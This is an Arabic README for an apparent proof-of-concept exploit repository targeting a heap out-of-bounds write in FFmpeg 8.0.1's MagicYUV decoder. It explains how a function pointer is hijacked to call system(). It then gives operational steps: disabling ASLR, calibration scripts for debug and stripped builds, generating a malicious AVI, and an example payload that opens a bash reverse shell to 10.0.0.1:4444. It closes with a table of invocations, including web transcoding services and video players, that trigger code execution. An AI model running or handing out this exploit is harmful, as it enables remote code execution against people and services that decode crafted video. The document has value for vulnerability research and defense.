
[!WARNING] يحتوي هذا المستودع على إثبات مفهوم (PoC) قابل للعمل لاستغلال ثغرة تلف في الكومة. وهو مخصص حصرًا لأبحاث الأمن المصرح بها، وسياقات مسابقات CTF، والتحليلات الدفاعية. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها.
المنتج المتأثر: مفكك ترميز MagicYUV في FFmpeg 8.0.1 (libavcodec/magicyuv.c)
النمط البدائي: كتابة خارج النطاق في الكومة ← اختطاف AVBuffer.free ← استدعاء system()
تستخدم الدالة magy_decode_slice() قيمة sheight (ارتفاع الشريحة غير المقيَّد) كحد للحلقة عند الكتابة في مستوى الإخراج Cb/Cr، بينما تخصص المخزن باستخدام القيمة المقيَّدة height. في الشريحة الأخيرة من إطار مُصمَّم خصيصًا، تكتب الحلقة ما يتجاوز نهاية المنطقة المخصصة.
// magicyuv.c:291 — dst pointer is already at sheight×stride past buffer start
for (i = 0; i < avctx->width >> s->hshift[plane]; i++)
dst[i] = get_vlc2(...); // OOB write when sheight > height
تقع الكتابة خارج النطاق في بنية AVBuffer تُخصص لاحقًا. من خلال التحكم في البايتات المكتوبة، يُستبدل AVBuffer.free بعنوان system() ويُستبدل AVBuffer.opaque بعنوان سلسلة الأمر في الكومة. عندما يُحرَّر الإطار، يستدعي av_buffer_unref() الدالة system(cmd).
التحليل الفني الكامل: الإنجليزية · الصينية
Python >= 3.8
GDB >= 9.0
kernel.randomize_va_space = 0 (ASLR disabled — required for calibration)
اعتماديات Python: لا شيء (المكتبة القياسية فقط).
sudo sysctl -w kernel.randomize_va_space=0
إصدار التصحيح (Debug build) (مُترجَم مع -g، مثلًا من المصدر مع --enable-debug):
python3 auto_calibrate.py \
--ffmpeg /path/to/ffmpeg-debug \
--avi /tmp/exploit.avi \
-o calibration.json
إصدار الإنتاج (Production build) (مكتبة مشتركة مجرّدة الرموز، مثلًا apt install ffmpeg أو مخصص مع --enable-shared):
python3 auto_calibrate_nosym.py \
--ffmpeg /path/to/ffmpeg \
--libpath /path/to/ffmpeg/lib \
--avi /tmp/exploit.avi \
-o calibration.json
يجب أن يكون مسار
--aviمطابقًا بين المعايرة وتسليم الاستغلال. تغيير طول سلسلة المسار يزيح تخطيط الكومة ويُبطل المعايرة.
python3 exploit_cve_2026_8461.py \
--calibration calibration.json \
--cmd "id > /tmp/pwned" \
-o /tmp/exploit.avi
# Debug build (statically linked)
/path/to/ffmpeg-debug -i /tmp/exploit.avi -f null -
# Production build (shared-library)
LD_LIBRARY_PATH=/path/to/lib /path/to/ffmpeg -i /tmp/exploit.avi -f null -
# System-installed FFmpeg (apt/yum)
ffmpeg -i /tmp/exploit.avi -f null -
الإخراج المتوقع: يُنفَّذ الأمر، ثم ينهار البرنامج مع رسالة corrupted size vs. prev_size.
cat /tmp/pwned
# uid=1000(user) gid=1000(user) groups=...

python3 exploit_cve_2026_8461.py \
--calibration calibration.json \
--cmd "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
-o /tmp/exploit.avi
Target FFmpeg binary
│
├─ Has debug symbols? (file ffmpeg | grep debug_info)
│ └─ YES → auto_calibrate.py
│
└─ Stripped / production
│
├─ Dynamically linked? (ldd ffmpeg | grep libavutil)
│ └─ YES → auto_calibrate_nosym.py
│
└─ Statically linked + fully stripped
└─ Neither script applies
(requires LD_PRELOAD malloc hook approach)
يعمل auto_calibrate_nosym.py بالطريقة التالية:
av_buffer_create (موجود دائمًا في libavutil.so .dynsym) لالتقاط مؤشرَي بيانات Cb وCr دون الحاجة إلى رموز على مستوى المصدر.AVBuffer واستخراج عنوان system().يعمل الاستغلال عندما يقوم الهدف بفك ترميز إطار الفيديو (وليس مجرد استكشافه):
لإثبات الثغرة دون تنفيذ أي أمر:
python3 exploit_cve_2026_8461.py --baseline -o baseline.avi
ffmpeg -i baseline.avi -f null -
# crashes with: free(): invalid pointer or corrupted size vs. prev_size
AVBuffer ضمن 640 بايت من عنوان بداية الكتابة خارج النطاق لمستوى Cb. أما على aarch64، فإن ترتيب التخصيص في glibc يضع AVBuffer خارج هذا النطاق (الكتلة المجاورة هي مخزن Cr بحوالي 10 كيلوبايت)، لذا لا يمكن للكتابة خارج النطاق بلوغها بهندسة الإطار الحالية. يتطلب النقل إلى aarch64 تحليل تخطيط الكومة هناك وتعديل هندسة الإطار وفقًا لذلك.kernel.randomize_va_space=0). مع تفعيل ASLR، تتبدل عناوين الكومة عشوائيًا في كل تشغيل ولا تصبح المعايرة صالحة. ستلزم بدائية تسريب معلومات (info-leak) لتمديد هذا الأسلوب ليشمل الأهداف التي يعمل لديها ASLR.auto_calibrate_nosym.py: يتطلب FFmpeg مرتبطًا ديناميكيًا مع إمكانية الوصول إلى libavutil.so (إما عبر مسارات النظام أو عبر --libpath).| الملف | الوصف |
|---|
exploit_cve_2026_8461.py | مولّد AVI الاستغلالي — يصوغ تدفق MagicYUV الخبيث |
auto_calibrate.py | معايرة تلقائية لإصدارات التصحيح (debug builds) (تتطلب رموز تصحيح -g) |
auto_calibrate_nosym.py | معايرة تلقائية لإصدارات الإنتاج (production builds) (مجرّدة الرموز، مكتبة مشتركة) |
CVE-2026-8461_Analysis_EN.md | التحليل الكامل للثغرة (بالإنجليزية) |
CVE-2026-8461_Analysis.md | التحليل الكامل للثغرة (بالصينية) |
ffmpeg_prod | ثنائي FFmpeg 8.0.1 في نسخة الإنتاج مجرّد الرموز للاختبار المحلي |
| الاستدعاء | يُطلق RCE |
|---|
ffmpeg -i evil.avi -f null - | نعم |
ffmpeg -i evil.avi -o out.mp4 | نعم |
| خدمة تحويل وسائط عبر الويب (حلقة فك الترميز في libavcodec) | نعم |
| مشغّل فيديو يستخدم libavcodec | نعم |
ffmpeg -i evil.avi (بدون تحديد مخرج) | لا — تتوقف العملية قبل تشغيل av_buffer_unref |
ffprobe evil.avi | لا — مسار فحص فقط، بدون فك ترميز كامل |